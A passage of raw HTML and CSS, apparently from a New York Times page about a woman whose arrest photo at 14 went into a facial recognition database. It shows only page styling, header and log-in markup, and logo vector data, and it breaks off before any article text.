(min-width:1024px){.css-l2ztic{display:none;}}.css-19lv58h{border-radius:3px;cursor:pointer;font-family:nyt-franklin,helvetica,arial,sans-serif;-webkit-transition:ease 0.6s;transition:ease 0.6s;-webkit-appearance:button;-moz-appearance:button;appearance:button;background-color:#fff;border:1px solid #ebebeb;color:#333;display:inline-block;font-size:11px;font-weight:500;-webkit-letter-spacing:0.02em;-moz-letter-spacing:0.02em;-ms-letter-spacing:0.02em;letter-spacing:0.02em;line-height:13px;margin:0;padding:8px 9px;text-transform:uppercase;vertical-align:middle;display:none;}.css-19lv58h::-moz-focus-inner{padding:0;border:0;}.css-19lv58h:-moz-focusring{outline:1px dotted;}.css-19lv58h:disabled,.css-19lv58h.disabled{opacity:0.5;cursor:default;}.css-19lv58h:active,.css-19lv58h.active{background-color:#f7f7f7;}@media (min-width:740px){.css-19lv58h:hover{background-color:#f7f7f7;}}@media (min-width:1024px){.css-19lv58h{border:0;display:inline-block;margin-right:8px;}}.css-mgtjo2{border-radius:3px;cursor:pointer;font-family:nyt-franklin,helvetica,arial,sans-serif;-webkit-transition:ease 0.6s;transition:ease 0.6s;background-color:transparent;color:#000;font-size:11px;font-weight:700;-webkit-letter-spacing:0.02em;-moz-letter-spacing:0.02em;-ms-letter-spacing:0.02em;letter-spacing:0.02em;padding:7px 9px 9px;border:0;}.css-mgtjo2::-moz-focus-inner{padding:0;border:0;}.css-mgtjo2:-moz-focusring{outline:1px dotted;}.css-mgtjo2:disabled,.css-mgtjo2.disabled{opacity:0.5;cursor:default;}.css-mgtjo2:active,.css-mgtjo2.active{background-color:#f7f7f7;}@media (min-width:740px){.css-mgtjo2:hover{background-color:#f7f7f7;}}.css-mgtjo2.activeSearchButton{background-color:#f7f7f7;}@media (min-width:1024px){.css-mgtjo2{padding:8px 9px 9px;}}.css-1wr3we4{display:none;}@media (min-width:1024px){.css-1wr3we4{display:block;position:absolute;left:105px;line-height:19px;top:10px;}}.css-y3sf94{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:space-around;-webkit-justify-content:space-around;-ms-flex-pack:space-around;justify-content:space-around;position:absolute;right:10px;top:9px;}@media (min-width:1024px){.css-y3sf94{top:4px;}}@media print{.css-y3sf94{display:none;}}.css-1bnxwmn{border-radius:3px;cursor:pointer;font-family:nyt-franklin,helvetica,arial,sans-serif;-webkit-transition:ease 0.6s;transition:ease 0.6s;background-color:#6288a5;border:1px solid #326891;color:#fff;font-size:11px;font-weight:700;-webkit-letter-spacing:0.05em;-moz-letter-spacing:0.05em;-ms-letter-spacing:0.05em;letter-spacing:0.05em;line-height:11px;padding:8px 9px 6px;text-transform:uppercase;}.css-1bnxwmn::-moz-focus-inner{padding:0;border:0;}.css-1bnxwmn:-moz-focusring{outline:1px dotted;}.css-1bnxwmn:disabled,.css-1bnxwmn.disabled{opacity:0.5;cursor:default;}@media (min-width:740px){.css-1bnxwmn:hover{background-color:#326891;}}@media (min-width:1024px){.css-1bnxwmn{padding:11px 12px 8px;}}.css-1bnxwmn:hover{border:1px solid #326891;}.css-1i8g3m4{border-radius:3px;cursor:pointer;font-family:nyt-franklin,helvetica,arial,sans-serif;-webkit-transition:ease 0.6s;transition:ease 0.6s;background-color:transparent;color:#000;font-size:11px;font-weight:700;-webkit-letter-spacing:0.02em;-moz-letter-spacing:0.02em;-ms-letter-spacing:0.02em;letter-spacing:0.02em;padding:7px 9px 9px;border:0;display:block;}.css-1i8g3m4.hidden{opacity:0;visibility:hidden;}.css-1i8g3m4.hidden:focus{opacity:1;}.css-1i8g3m4::-moz-focus-inner{padding:0;border:0;}.css-1i8g3m4:-moz-focusring{outline:1px dotted;}.css-1i8g3m4:disabled,.css-1i8g3m4.disabled{opacity:0.5;cursor:default;}.css-1i8g3m4:active,.css-1i8g3m4.active{background-color:#f7f7f7;}@media (min-width:740px){.css-1i8g3m4:hover{background-color:#f7f7f7;}}@media (min-width:740px){.css-1i8g3m4{border:none;line-height:13px;padding:9px 9px 12px;}}@media (min-width:1024px){.css-1i8g3m4{display:none;}}@media (min-width:1150px){}.css-3qijnq{-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;font-family:nyt-franklin,helvetica,arial,sans-serif;font-size:11px;-webkit-box-pack:space-around;-webkit-justify-content:space-around;-ms-flex-pack:space-around;justify-content:space-around;padding:13px 20px 12px;}@media (min-width:740px){.css-3qijnq{position:relative;}}@media (min-width:1024px){.css-3qijnq{-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;border:none;padding:0;height:0;-webkit-transform:translateY(42px);-ms-transform:translateY(42px);transform:translateY(42px);}}@media print{.css-3qijnq{display:none;}}.css-uqyvli{color:#121212;font-size:13px;font-family:nyt-franklin,helvetica,arial,sans-serif;display:none;width:auto;}@media (min-width:740px){.css-uqyvli{text-align:center;width:100%;}}@media (min-width:1024px){.css-uqyvli{font-size:12px;margin-bottom:10px;width:auto;}}.css-1uqjmks{color:#121212;font-size:12px;font-family:nyt-franklin,helvetica,arial,sans-serif;font-weight:500;display:none;}@media (min-width:740px){.css-1uqjmks{margin:0;position:absolute;left:20px;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;top:0;bottom:0;}}@media (min-width:1024px){.css-1uqjmks{display:none;}}.css-1bvtpon{display:none;}@media (min-width:1024px){}.css-1vxca1d{position:relative;margin:0 auto;}@media (min-width:600px){.css-1vxca1d{margin:0 auto 20px;}}.css-1vxca1d .relatedcoverage + .recirculation{margin-top:20px;}.css-1vxca1d .wrap + .recirculation{margin-top:20px;}@media (min-width:1024px){.css-1vxca1d{padding-top:40px;}}.css-1ox9jel{margin:37px auto;margin-top:20px;margin-bottom:32px;}.css-1ox9jel strong{font-weight:700;}.css-1ox9jel em{font-style:italic;}.css-1ox9jel.sizeSmall{width:calc(100% - 40px);display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;}@media (min-width:600px){.css-1ox9jel.sizeSmall{max-width:600px;margin-left:auto;margin-right:auto;}}@media (min-width:1024px){.css-1ox9jel.sizeSmall{width:100%;}}@media (min-width:1440px){.css-1ox9jel.sizeSmall{max-width:600px;}}.css-1ox9jel.sizeSmall.sizeSmallNoCaption{display:block;}@media print{.css-1ox9jel.sizeSmall.sizeSmallNoCaption{display:none;}}.css-1ox9jel.sizeMedium{width:100%;max-width:600px;margin-right:auto;margin-left:auto;}@media (min-width:600px){.css-1ox9jel.sizeMedium{width:calc(100% - 40px);}}@media (min-width:740px){.css-1ox9jel.sizeMedium{max-width:600px;}}@media (min-width:1440px){.css-1ox9jel.sizeMedium{max-width:720px;}}@media (min-width:600px){.css-1ox9jel.sizeMedium.layoutVertical{width:420px;}}@media (min-width:1440px){.css-1ox9jel.sizeMedium.layoutVertical{width:480px;}}.css-1ox9jel.sizeMedium.layoutVertical.verticalVideo{width:calc(100% - 40px);}@media (min-width:600px){.css-1ox9jel.sizeMedium.layoutVertical.verticalVideo{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;width:600px;}}@media (min-width:1440px){.css-1ox9jel.sizeMedium.layoutVertical.verticalVideo{width:600px;}}.css-1ox9jel.sizeLarge{width:100%;max-width:1200px;margin-left:auto;margin-right:auto;}@media (min-width:600px){.css-1ox9jel.sizeLarge{width:auto;}}@media (min-width:740px){.css-1ox9jel.sizeLarge.layoutVertical{width:600px;}.css-1ox9jel.sizeLarge.layoutVertical.verticalVideo{width:600px;}}@media (min-width:1024px){.css-1ox9jel.sizeLarge{width:945px;}}@media (min-width:1440px){.css-1ox9jel.sizeLarge{width:1200px;}.css-1ox9jel.sizeLarge.layoutVertical{width:720px;}.css-1ox9jel.sizeLarge.layoutVertical.verticalVideo{width:600px;}}@media (min-width:600px){.css-1ox9jel{margin:43px auto;}}@media print{.css-1ox9jel{display:none;}}@media (min-width:740px){.css-1ox9jel{margin-top:25px;}}.css-1riqqik{display:inline;color:#333;}.css-1riqqik span{-webkit-text-decoration:underline;text-decoration:underline;-webkit-text-decoration-color:#ccc;text-decoration-color:#ccc;}.css-1riqqik span:hover,.css-1riqqik span:focus{-webkit-text-decoration:none;text-decoration:none;}.css-2fg4z9{font-style:italic;}.css-11n4cex{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;margin-bottom:15px;margin-top:4px;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;margin-left:20px;margin-right:20px;width:calc(100% - 40px);max-width:600px;}@media (min-width:600px){.css-11n4cex{margin-left:auto;margin-right:auto;}}@media (min-width:740px){.css-11n4cex{width:600px;}}.css-11n4cex .e6idgb70{font-size:14px;margin:0;}.css-1ifw933{font-style:normal;font-stretch:normal;margin-bottom:1.6rem;color:#333;font-family:nyt-cheltenham,georgia,'times new roman',times,serif;font-weight:300;-webkit-letter-spacing:0.005em;-moz-letter-spacing:0.005em;-ms-letter-spacing:0.005em;letter-spacing:0.005em;font-size:1.3125rem;line-height:1.6875rem;}@media (min-width:740px){.css-1ifw933{font-size:1.5rem;line-height:1.9375rem;}}.css-1rjmmt7{width:50px;vertical-align:bottom;margin-right:10px;}.css-rqb9bm{font-family:nyt-franklin,helvetica,arial,sans-serif;font-weight:500;color:#333;-webkit-letter-spacing:0.02em;-moz-letter-spacing:0.02em;-ms-letter-spacing:0.02em;letter-spacing:0.02em;font-size:0.875rem;line-height:1.125rem;margin-bottom:1rem;}.css-19hdyf3{font-family:nyt-franklin,helvetica,arial,sans-serif;color:#333;font-size:0.9375rem;line-height:1.25rem;font-family:nyt-franklin,helvetica,arial,sans-serif;color:#333;font-size:0.9375rem;line-height:1.25rem;}.css-19hdyf3 p{margin-bottom:0.75rem;}.css-19hdyf3 a,.css-19hdyf3 a:visited{color:#326891;-webkit-text-decoration:underline;text-decoration:underline;}.css-19hdyf3 a:hover,.css-19hdyf3 a:focus{color:#326891;-webkit-text-decoration:none;text-decoration:none;}@media print{.css-19hdyf3{margin-left:0;margin-right:0;width:100%;max-width:100%;}}@media (min-width:740px){.css-19hdyf3{font-size:1rem;line-height:1.375rem;}}.css-19hdyf3 p{margin-bottom:0.75rem;}.css-19hdyf3 a,.css-19hdyf3 a:visited{color:#326891;-webkit-text-decoration:underline;text-decoration:underline;}.css-19hdyf3 a:hover,.css-19hdyf3 a:focus{color:#326891;-webkit-text-decoration:none;text-decoration:none;}@media print{.css-19hdyf3{margin-left:0;margin-right:0;width:100%;max-width:100%;}}.css-15g2oxy{margin-top:1rem;}.css-2b3w4o{margin-bottom:1rem;}.css-2b3w4o .e16638kd0{margin-top:5px;margin-bottom:0;display:inline-block;color:#999;font-size:0.75rem;line-height:1.0625rem;}.css-2b3w4o:hover .e16ij5yr2,.css-2b3w4o:visited .e16ij5yr2{color:#666;}.css-2b3w4o .css-1g7m0tk{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;min-height:100px;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;}.css-14b9hti{font-weight:500;color:#a19d9d;font-family:nyt-cheltenham,georgia,'times new roman',times,serif;font-size:1.125rem;line-height:1.375rem;}@media (min-width:740px){.css-14b9hti{font-size:1.1875rem;line-height:1.4375rem;}}.css-1j8dw05{margin-right:10px;display:inline;font-weight:500;color:#121212;font-family:nyt-cheltenham,georgia,'times new roman',times,serif;font-size:1.125rem;line-height:1.375rem;}@media (min-width:740px){.css-1j8dw05{font-size:1.1875rem;line-height:1.4375rem;}}.css-1vm5oi9{margin-left:10px;width:120px;min-width:120px;}@media (min-width:740px){.css-1vm5oi9{width:165px;min-width:165px;}}.css-32rbo2{width:100%;min-width:120px;}.css-llk6mt{margin-top:5px;}@media (min-width:740px){.css-llk6mt{margin-top:45px;margin-bottom:0;}}.css-llk6mt .e6idgb70{margin-top:1.875rem;color:#121212;font-weight:700;line-height:0.75rem;margin-bottom:0.625rem;}@media print{.css-llk6mt .e6idgb70{margin-left:0;margin-right:0;width:100%;max-width:100%;}}.css-llk6mt .e1h9rw200{margin-bottom:16px;margin-left:20px;margin-right:20px;width:calc(100% - 40px);max-width:600px;margin-top:0;}@media (min-width:600px){.css-llk6mt .e1h9rw200{margin-left:auto;margin-right:auto;}}@media (min-width:740px){.css-llk6mt .e1h9rw200{width:600px;}}@media (min-width:740px){.css-llk6mt .e1h9rw200{max-width:none;margin-left:calc((100% - 600px) / 2);margin-right:auto;position:relative;width:660px;}}.css-llk6mt .euiyums3 .e6idgb70{margin:0;}.css-llk6mt .e1wiw3jv0{color:#333;margin-left:20px;margin-right:20px;width:calc(100% - 40px);max-width:600px;}@media (min-width:600px){.css-llk6mt .e1wiw3jv0{margin-left:auto;margin-right:auto;}}@media (min-width:740px){.css-llk6mt .e1wiw3jv0{width:600px;}}.css-llk6mt .e16638kd0{width:auto;margin-bottom:0;margin-left:0;display:inline-block;margin-top:0;margin-bottom:0;width:auto;}.css-llk6mt .eatfx1z0{margin-right:15px;font-weight:700;font-size:14px;line-height:1;}.css-llk6mt .section-kicker .opinion-bar{font-size:25px;}.css-llk6mt .epjyd6m0{margin-left:20px;margin-right:20px;width:calc(100% - 40px);max-width:600px;}@media (min-width:600px){.css-llk6mt .epjyd6m0{margin-left:auto;margin-right:auto;}}@media (min-width:740px){.css-llk6mt .epjyd6m0{width:600px;}}.css-llk6mt .e1g7ppur0{margin-bottom:32px;margin-top:20px;}@media (min-width:740px){.css-llk6mt .e1g7ppur0{margin-top:25px;}}@media (min-width:1024px){.css-llk6mt .e1g7ppur0{margin-bottom:43px;}}.css-llk6mt .e1q76eii0{margin-left:20px;margin-right:20px;width:calc(100% - 40px);max-width:600px;max-width:600px;}@media (min-width:600px){.css-llk6mt .e1q76eii0{margin-left:auto;margin-right:auto;}}@media (min-width:740px){.css-llk6mt .e1q76eii0{width:600px;}}.css-llk6mt .euiyums1{margin-bottom:20px;color:#121212;}@media print{.css-llk6mt .euiyums1{margin-left:0;margin-right:0;width:100%;max-width:100%;}}.css-1s4ffep{color:#121212;font-family:nyt-cheltenham,georgia,'times new roman',times,serif;font-weight:700;font-style:italic;font-size:1.9375rem;line-height:2.25rem;text-align:left;}@media (min-width:740px){.css-1s4ffep{font-size:2.5rem;line-height:3rem;}}.css-pdw9fk{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;margin-bottom:15px;width:100%;-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap;}@media (min-width:1024px){.css-pdw9fk{-webkit-flex-wrap:nowrap;-ms-flex-wrap:nowrap;flex-wrap:nowrap;}}.css-pdw9fk > img,.css-pdw9fk a > img,.css-pdw9fk div > img{margin-right:10px;}.css-1txwxcy{min-width:100px;display:block;width:100%;margin-bottom:10px;margin-left:-3px;}@media (min-width:1024px){.css-1txwxcy{display:inline-block;width:auto;margin-bottom:0;}}.css-1soubk3{margin:0.5rem 0 1.5rem;padding-top:1rem;width:calc(100% - 40px);max-width:600px;margin-left:20px;margin-right:20px;}.css-1soubk3:before{content:'';display:block;width:100%;margin-bottom:0.5rem;border-bottom:1px solid #e2e2e2;}.css-1soubk3:after{content:'';display:block;width:100%;margin-top:0.5rem;border-bottom:1px solid #e2e2e2;}.css-1soubk3 .e16ij5yr6{border-top:none;}@media (min-width:600px){.css-1soubk3{margin-left:auto;margin-right:auto;}}@media (min-width:1024px){.css-1soubk3{width:600px;}}@media (min-width:1440px){.css-1soubk3{width:600px;max-width:600px;}}@media print{.css-1soubk3{margin-left:0;margin-right:0;width:100%;max-width:100%;}}</style>
+
+
+
+ <style>[data-timezone] { display: none }</style>
+
+ </head>
+ <body>
+ <div id="app"><div class="css-v89234" role="main"><div class=""><div><div class="css-ulr03x e1suatyy0"><header class="css-1bymuyk e1suatyy1"><section class="css-1waixk9 e1suatyy2"><div class="css-1f7ibof er09x8g0"><div class="css-6n7j50"><button aria-haspopup="true" aria-expanded="false" aria-label="Sections Navigation &amp; Search" class="er09x8g1 css-l2ztic" data-testid="nav-button"><svg class="css-1fe7a5q" viewBox="0 0 16 16"><rect x="1" y="3" fill="#333333" width="14" height="2"></rect><rect x="1" y="7" fill="#333333" width="14" height="2"></rect><rect x="1" y="11" fill="#333333" width="14" height="2"></rect></svg></button></div><button id="desktop-sections-button" aria-label="Sections Navigation" class="css-19lv58h er09x8g2"><span class="css-vz7hjd">Sections</span><svg class="css-1fe7a5q" viewBox="0 0 16 16"><rect x="1" y="3" fill="#333333" width="14" height="2"></rect><rect x="1" y="7" fill="#333333" width="14" height="2"></rect><rect x="1" y="11" fill="#333333" width="14" height="2"></rect></svg></button><div class="css-10488qs"><button class="css-mgtjo2 ewfai8r0" data-test-id="search-button"><span class="css-vz7hjd">SEARCH</span><svg class="css-1fe7a5q" viewBox="0 0 16 16"><path fill="#333" d="M11.3,9.2C11.7,8.4,12,7.5,12,6.5C12,3.5,9.5,1,6.5,1S1,3.5,1,6.5S3.5,12,6.5,12c1,0,1.9-0.3,2.7-0.7l3.3,3.3c0.3,0.3,0.7,0.4,1.1,0.4s0.8-0.1,1.1-0.4c0.6-0.6,0.6-1.5,0-2.1L11.3,9.2zM6.5,10.3c-2.1,0-3.8-1.7-3.8-3.8c0-2.1,1.7-3.8,3.8-3.8c2.1,0,3.8,1.7,3.8,3.8C10.3,8.6,8.6,10.3,6.5,10.3z"></path></svg></button></div><a class="css-1rn5q1r" href="#site-content">Skip to content</a><a class="css-1rn5q1r" href="#site-index">Skip to site index</a></div><div class="css-1wr3we4 eaxe0e00"><a href="https://www.nytimes.com/section/nyregion" class="css-nuvmzp">New York</a></div><div class="css-10698na e1huz5gh0"><a aria-label="New York Times Logo. Click to visit the homepage" class="css-nhjhh0 e1huz5gh1" href="/"><svg xmlns="http://www.w3.org/2000/svg" class="" viewBox="0 0 184 25" fill="#000"><path d="M13.8 2.9c0-2-1.9-2.5-3.4-2.5v.3c.9 0 1.6.3 1.6 1 0 .4-.3 1-1.2 1-.7 0-2.2-.4-3.3-.8C6.2 1.4 5 1 4 1 2 1 .6 2.5.6 4.2c0 1.5 1.1 2 1.5 2.2l.1-.2c-.2-.2-.5-.4-.5-1 0-.4.4-1.1 1.4-1.1.9 0 2.1.4 3.7.9 1.4.4 2.9.7 3.7.8v3.1L9 10.2v.1l1.5 1.3v4.3c-.8.5-1.7.6-2.5.6-1.5 0-2.8-.4-3.9-1.6l4.1-2V6l-5 2.2C3.6 6.9 4.7 6 5.8 5.4l-.1-.3c-3 .8-5.7 3.6-5.7 7 0 4 3.3 7 7 7 4 0 6.6-3.2 6.6-6.5h-.2c-.6 1.3-1.5 2.5-2.6 3.1v-4.1l1.6-1.3v-.1l-1.6-1.3V5.8c1.5 0 3-1 3-2.9zm-8.7 11l-1.2.6c-.7-.9-1.1-2.1-1.1-3.8 0-.7 0-1.5.2-2.1l2.1-.9v6.2zm10.6 2.3l-1.3 1 .2.2.6-.5 2.2 2 3-2-.1-.2-.8.5-1-1V9.4l.8-.6 1.7 1.4v6.1c0 3.8-.8 4.4-2.5 5v.3c2.8.1 5.4-.8 5.4-5.7V9.3l.9-.7-.2-.2-.8.6-2.5-2.1L18.5 9V.8h-.2l-3.5 2.4v.2c.4.2 1 .4 1 1.5l-.1 11.3zM34 15.1L31.5 17 29 15v-1.2l4.7-3.2v-.1l-2.4-3.6-5.2 2.8v6.6l-1 .8.2.2.9-.7 3.4 2.5 4.5-3.6-.1-.4zm-5-1.7V8.5l.2-.1 2.2 3.5-2.4 1.5zM53.1 2c0-.3-.1-.6-.2-.9h-.2c-.3.8-.7 1.2-1.7 1.2-.9 0-1.5-.5-1.9-.9l-2.9 3.3.2.2 1-.9c.6.5 1.1.9 2.5 1v8.3L44 3.2c-.5-.8-1.2-1.9-2.6-1.9-1.6 0-3 1.4-2.8 3.6h.3c.1-.6.4-1.3 1.1-1.3.5 0 1 .5 1.3 1v3.3c-1.8 0-3 .8-3 2.3 0 .8.4 2 1.6 2.3v-.2c-.2-.2-.3-.4-.3-.7 0-.5.4-.9 1.1-.9h.5v4.2c-2.1 0-3.8 1.2-3.8 3.2 0 1.9 1.6 2.8 3.4 2.7v-.2c-1.1-.1-1.6-.6-1.6-1.3 0-.9.6-1.3 1.4-1.3.8 0 1.5.5 2 1.1l2.9-3.2-.2-.2-.7.8c-1.1-1-1.7-1.3-3-1.5V5l8 14h.6V5c1.5-.1 2.9-1.3 2.9-3zm7.3 13.1L57.9 17l-2.5-2v-1.2l4.7-3.2v-.1l-2.4-3.6-5.2 2.8v6.6l-1 .8.2.2.9-.7 3.4 2.5 4.5-3.6-.1-.4zm-5-1.7V8.5l.2-.1 2.2 3.5-2.4 1.5zM76.7 8l-.7.5-1.9-1.6-2.2 2 .9.9v7.5l-2.4-1.5V9.6l.8-.5-2.3-2.2-2.2 2 .9.9V17l-.3.2-2.1-1.5v-6c0-1.4-.7-1.8-1.5-2.3-.7-.5-1.1-.8-1.1-1.5 0-.6.6-.9.9-1.1v-.2c-.8 0-2.9.8-2.9 2.7 0 1 .5 1.4 1 1.9s1 .9 1 1.8v5.8l-1.1.8.2.2 1-.8 2.3 2 2.5-1.7 2.8 1.7 5.3-3.1V9.2l1.3-1-.2-.2zm18.6-5.5l-1 .9-2.2-2-3.3 2.4V1.6h-.3l.1 16.2c-.3 0-1.2-.2-1.9-.4l-.2-13.5c0-1-.7-2.4-2.5-2.4s-3 1.4-3 2.8h.3c.1-.6.4-1.1 1-1.1s1.1.4 1.1 1.7v3.9c-1.8.1-2.9 1.1-2.9 2.4 0 .8.4 2 1.6 2V13c-.4-.2-.5-.5-.5-.7 0-.6.5-.8 1.3-.8h.4v6.2c-1.5.5-2.1 1.6-2.1 2.8 0 1.7 1.3 2.9 3.3 2.9 1.4 0 2.6-.2 3.8-.5 1-.2 2.3-.5 2.9-.5.8 0 1.1.4 1.1.9 0 .7-.3 1-.7 1.1v.2c1.6-.3 2.6-1.3 2.6-2.8s-1.5-2.4-3.1-2.4c-.8 0-2.5.3-3.7.5-1.4.3-2.8.5-3.2.5-.7 0-1.5-.3-1.5-1.3 0-.8.7-1.5 2.4-1.5.9 0 2 .1 3.1.4 1.2.3 2.3.6 3.3.6 1.5 0 2.8-.5 2.8-2.6V3.7l1.2-1-.2-.2zm-4.1 6.1c-.3.3-.7.6-1.2.6s-1-.3-1.2-.6V4.2l1-.7 1.4 1.3v3.8zm0 3c-.2-.2-.7-.5-1.2-.5s-1 .3-1.2.5V9c.2.2.7.5 1.2.5s1-.3 1.2-.5v2.6zm0 4.7c0 .8-.5 1.6-1.6 1.6h-.8V12c.2-.2.7-.5 1.2-.5s.9.3 1.2.5v4.3zm13.7-7.1l-3.2-2.3-4.9 2.8v6.5l-1 .8.1.2.8-.6 3.2 2.4 5-3V9.2zm-5.4 6.3V8.3l2.5 1.8v7.1l-2.5-1.7zm14.9-8.4h-.2c-.3.2-.6.4-.9.4-.4 0-.9-.2-1.1-.5h-.2l-1.7 1.9-1.7-1.9-3 2 .1.2.8-.5 1 1.1v6.3l-1.3 1 .2.2.6-.5 2.4 2 3.1-2.1-.1-.2-.9.5-1.2-1V9c.5.5 1.1 1 1.8 1 1.4.1 2.2-1.3 2.3-2.9zm12 9.6L123 19l-4.6-7 3.3-5.1h.2c.4.4 1 .8 1.7.8s1.2-.4 1.5-.8h.2c-.1 2-1.5 3.2-2.5 3.2s-1.5-.5-2.1-.8l-.3.5 5 7.4 1-.6v.1zm-11-.5l-1.3 1 .2.2.6-.5 2.2 2 3-2-.2-.2-.8.5-1-1V.8h-.1l-3.6 2.4v.2c.4.2 1 .3 1 1.5v11.3zM143 2.9c0-2-1.9-2.5-3.4-2.5v.3c.9 0 1.6.3 1.6 1 0 .4-.3 1-1.2 1-.7 0-2.2-.4-3.3-.8-1.3-.4-2.5-.8-3.5-.8-2 0-3.4 1.5-3.4 3.2 0 1.5 1.1 2 1.5 2.2l.1-.2c-.3-.2-.6-.4-.6-1 0-.4.4-1.1 1.4-1.1.9 0 2.1.4 3.7.9 1.4.4 2.9.7 3.7.8V9l-1.5 1.3v.1l1.5 1.3V16c-.8.5-1.7.6-2.5.6-1.5 0-2.8-.4-3.9-1.6l4.1-2V6l-5 2.2c.5-1.3 1.6-2.2 2.6-2.9l-.1-.2c-3 .8-5.7 3.5-5.7 6.9 0 4 3.3 7 7 7 4 0 6.6-3.2 6.6-6.5h-.2c-.6 1.3-1.5 2.5-2.6 3.1v-4.1l1.6-1.3v-.1L140 8.8v-3c1.5 0 3-1 3-2.9zm-8.7 11l-1.2.6c-.7-.9-1.1-2.1-1.1-3.8 0-.7.1-1.5.3-2.1l2.1-.9-.1 6.2zm12.2-12h-.1l-2 1.7v.1l1.7 1.9h.2l2-1.7v-.1l-1.8-1.9zm3 14.8l-.8.5-1-1V9.3l1-.7-.2-.2-.7.6-1.8-2.1-2.9 2 .2.3.7-.5.9 1.1v6.5l-1.3 1 .1.2.7-.5 2.2 2 3-2-.1-.3zm16.7-.1l-.7.5-1.1-1V9.3l1-.8-.2-.2-.8.7-2.3-2.1-3 2.1-2.3-2.1L154 9l-1.8-2.1-2.9 2 .1.3.7-.5 1 1.1v6.5l-.8.8 2.3 1.9 2.2-2-.9-.9V9.3l.9-.6 1.5 1.4v6l-.8.8 2.3 1.9 2.2-2-.9-.9V9.3l.8-.5 1.6 1.4v6l-.7.7 2.3 2.1 3.1-2.1v-.3zm8.7-1.5l-2.5 1.9-2.5-2v-1.2l4.7-3.2v-.1l-2.4-3.6-5.2 2.8v6.8l3.5 2.5 4.5-3.6-.1-.3zm-5-1.7V8.5l.2-.1 2.2 3.5-2.4 1.5zm14.1-.9l-1.9-1.5c1.3-1.1 1.8-2.6 1.8-3.6v-.6h-.2c-.2.5-.6 1-1.4 1-.8 0-1.3-.4-1.8-1L176 9.3v3.6l1.7 1.3c-1.7 1.5-2 2.5-2 3.3 0 1 .5 1.7 1.3 2l.1-.2c-.2-.2-.4-.3-.4-.8 0-.3.4-.8 1.2-.8 1 0 1.6.7 1.9 1l4.3-2.6v-3.6h-.1zm-1.1-3c-.7 1.2-2.2 2.4-3.1 3l-1.1-.9V8.1c.4 1 1.5 1.8 2.6 1.8.7 0 1.1-.1 1.6-.4zm-1.7 8c-.5-1.1-1.7-1.9-2.9-1.9-.3 0-1.1 0-1.9.5.5-.8 1.8-2.2 3.5-3.2l1.2 1 .1 3.6z"></path></svg></a></div><div class="css-y3sf94 ez4a0qj1"><a href="https://myaccount.nytimes.com/auth/login?response_type=cookie&amp;client_id=vi" class="css-1kj7lfb"><button class="css-1bnxwmn ez4a0qj0" data-testid="login-button">Log In</button></a><div class="css-6n7j50"><button aria-haspopup="true" aria-expanded="false" aria-label="User Settings" class="ez4a0qj4 css-1i8g3m4" data-testid="user-settings-button"><svg class="css-10m9xeu" viewBox="0 0 16 16" fill="#333"><path d="M8,10c-2.5,0-7,1.1-7,3.5V16h14v-2.5C15,11.1,10.5,10,8,10z"></path><circle cx="8" cy="4" r="4"></circle></svg></button></div></div></section><section class="hasLinks css-3qijnq e1csuq9d3"><div class="css-uqyvli e1csuq9d0"></div><div class="css-1uqjmks e1csuq9d1"></div><div class="css-9e9ivx"><a href="https://myaccount.nytimes.com/auth/login?response_type=cookie&amp;client_id=vi" class="css-1gz70xg">Log In</a></div><div class="css-1bvtpon e1csuq9d2"><a href="https://www.nytimes.com/section/todayspaper" class="css-2bwtzy">Today’s Paper</a></div></section></header></div></div><div aria-hidden="false"><main id="site-content"><div><div class="css-4g4cvq" style="opacity:0.000000001;z-index:-1;visibility:hidden"><div class="css-m6xlts"><div class="css-1ahhg7f"><span class="css-17xtcya"><a href="/section/nyregion">New York</a></span><span class="css-x15j1o">|</span><span class="css-fwqvlz">She Was Arrested at 14. Then Her Photo Went to a Facial Recognition Database.</span></div><div class="css-k008qs"><div class="css-1iwv8en"><a href="/"><svg class="css-1ri25x2" viewBox="0 0 16 22"><path d="M15.863 13.08c-.687 1.818-1.923 3.147-3.64 3.916v-3.917l2.129-1.958-2.129-1.889V6.505c1.923-.14 3.228-1.609 3.228-3.358C15.45.84 13.32 0 12.086 0c-.275 0-.55 0-.962.14v.14h.481c.824 0 1.51.42 1.51 1.189 0 .63-.48 1.189-1.304 1.189-2.129 0-4.6-1.749-7.279-1.749C2.13.91.481 2.728.481 4.546c0 1.819 1.03 2.448 2.128 2.798v-.14c-.343-.21-.618-.63-.618-1.189 0-.84.756-1.469 1.648-1.469 2.267 0 5.906 1.959 8.172 1.959h.206v2.727l-2.129 1.889 2.13 1.958v3.987c-.894.35-1.786.49-2.748.49-3.502 0-5.768-2.169-5.768-5.806 0-.839.137-1.678.344-2.518l1.785-.769v7.973l3.57-1.608V6.575L3.984 8.953c.55-1.61 1.648-2.728 2.953-3.358v-.07C3.433 6.295 0 9.023 0 13.08c0 4.686 3.914 7.974 8.446 7.974 4.807 0 7.485-3.288 7.554-7.974h-.137z" fill="#000"></path></svg></a><span class="css-1hfdzay"><div><a href="/" aria-label="New York Times Logo. Click to visit the homepage"><svg xmlns="http://www.w3.org/2000/svg" class="css-12fr9lp" viewBox="0 0 184 25" fill="#000"><path d="M13.8 2.9c0-2-1.9-2.5-3.4-2.5v.3c.9 0 1.6.3 1.6 1 0 .4-.3 1-1.2 1-.7 0-2.2-.4-3.3-.8C6.2 1.4 5 1 4 1 2 1 .6 2.5.6 4.2c0 1.5 1.1 2 1.5 2.2l.1-.2c-.2-.2-.5-.4-.5-1 0-.4.4-1.1 1.4-1.1.9 0 2.1.4 3.7.9 1.4.4 2.9.7 3.7.8v3.1L9 10.2v.1l1.5 1.3v4.3c-.8.5-1.7.6-2.5.6-1.5 